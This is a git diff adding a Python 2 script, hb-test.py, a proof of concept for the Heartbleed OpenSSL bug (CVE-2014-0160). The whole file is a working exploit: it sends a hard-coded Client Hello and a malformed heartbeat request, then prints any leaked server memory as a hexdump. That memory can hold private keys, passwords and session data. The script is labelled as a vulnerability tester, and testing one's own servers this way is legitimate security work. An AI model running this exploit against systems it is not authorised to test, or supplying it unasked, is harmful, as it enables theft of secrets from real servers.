osmonds · April 10, 2014 15:59 · Apr 8, 2014
diff --git a/hb-test.py b/hb-test.py
@@ -0,0 +1,152 @@
+#!/usr/bin/env python2
+
+# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford ([email protected])
+# The author disclaims copyright to this source code.
+
+import sys
+import struct
+import socket
+import time
+import select
+import re
+from optparse import OptionParser
+
+options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
+options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')
+options.add_option('-s', '--starttls', action='store_true', default=False, help='Check STARTTLS')
+options.add_option('-d', '--debug', action='store_true', default=False, help='Enable debug output')
+
+def h2bin(x):
+    return x.replace(' ', '').replace('\n', '').decode('hex')
+
+hello = h2bin('''
+16 03 02 00  dc 01 00 00 d8 03 02 53
+43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf
+bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00
+00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88
+00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c
+c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09
+c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44
+c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c
+c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11
+00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04
+03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19
+00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08
+00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13
+00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00
+00 0f 00 01 01                                  
+''')
+
+hb = h2bin(''' 
+18 03 02 00 03
+01 40 00
+''')
+
+def hexdump(s):
+    for b in xrange(0, len(s), 16):
+        lin = [c for c in s[b : b + 16]]
+        hxdat = ' '.join('%02X' % ord(c) for c in lin)
+        pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
+        print '  %04x: %-48s %s' % (b, hxdat, pdat)
+    print
+
+def recvall(s, length, timeout=5):
+    endtime = time.time() + timeout
+    rdata = ''
+    remain = length
+    while remain > 0:
+        rtime = endtime - time.time() 
+        if rtime < 0:
+            return None
+        r, w, e = select.select([s], [], [], 5)
+        if s in r:
+            data = s.recv(remain)
+            # EOF?
+            if not data:
+                return None
+            rdata += data
+            remain -= len(data)
+    return rdata
+
+
+def recvmsg(s):
+    hdr = recvall(s, 5)
+    if hdr is None:
+        print 'Unexpected EOF receiving record header - server closed connection'
+        return None, None, None
+    typ, ver, ln = struct.unpack('>BHH', hdr)
+    pay = recvall(s, ln, 10)
+    if pay is None:
+        print 'Unexpected EOF receiving record payload - server closed connection'
+        return None, None, None
+    print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
+    return typ, ver, pay
+
+def hit_hb(s):
+    s.send(hb)
+    while True:
+        typ, ver, pay = recvmsg(s)
+        if typ is None:
+            print 'No heartbeat response received, server likely not vulnerable'
+            return False
+
+        if typ == 24:
+            print 'Received heartbeat response:'
+            hexdump(pay)
+            if len(pay) > 3:
+                print 'WARNING: server returned more data than it should - server is vulnerable!'
+            else:
+                print 'Server processed malformed heartbeat, but did not return any extra data.'
+            return True
+
+        if typ == 21:
+            print 'Received alert:'
+            hexdump(pay)
+            print 'Server returned error, likely not vulnerable'
+            return False
+
+def main():
+    opts, args = options.parse_args()
+    if len(args) < 1:
+        options.print_help()
+        return
+
+    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+    print 'Connecting...'
+    sys.stdout.flush()
+    s.connect((args[0], opts.port))
+
+    if opts.starttls:
+        re = s.recv(4096)
+        if opts.debug: print re
+        s.send('ehlo starttlstest\n')
+        re = s.recv(1024)
+        if opts.debug: print re
+        if not 'STARTTLS' in re:
+            if opts.debug: print re
+            print 'STARTTLS not supported...'
+            sys.exit(0)
+        s.send('starttls\n')
+        re = s.recv(1024)
+
+    print 'Sending Client Hello...'
+    sys.stdout.flush()
+    s.send(hello)
+    print 'Waiting for Server Hello...'
+    sys.stdout.flush()
+    while True:
+        typ, ver, pay = recvmsg(s)
+        if typ == None:
+            print 'Server closed connection without sending Server Hello.'
+            return
+        # Look for server hello done message.
+        if typ == 22 and ord(pay[0]) == 0x0E:
+            break
+
+    print 'Sending heartbeat request...'
+    sys.stdout.flush()
+    s.send(hb)
+    hit_hb(s)
+
+if __name__ == '__main__':
+    main()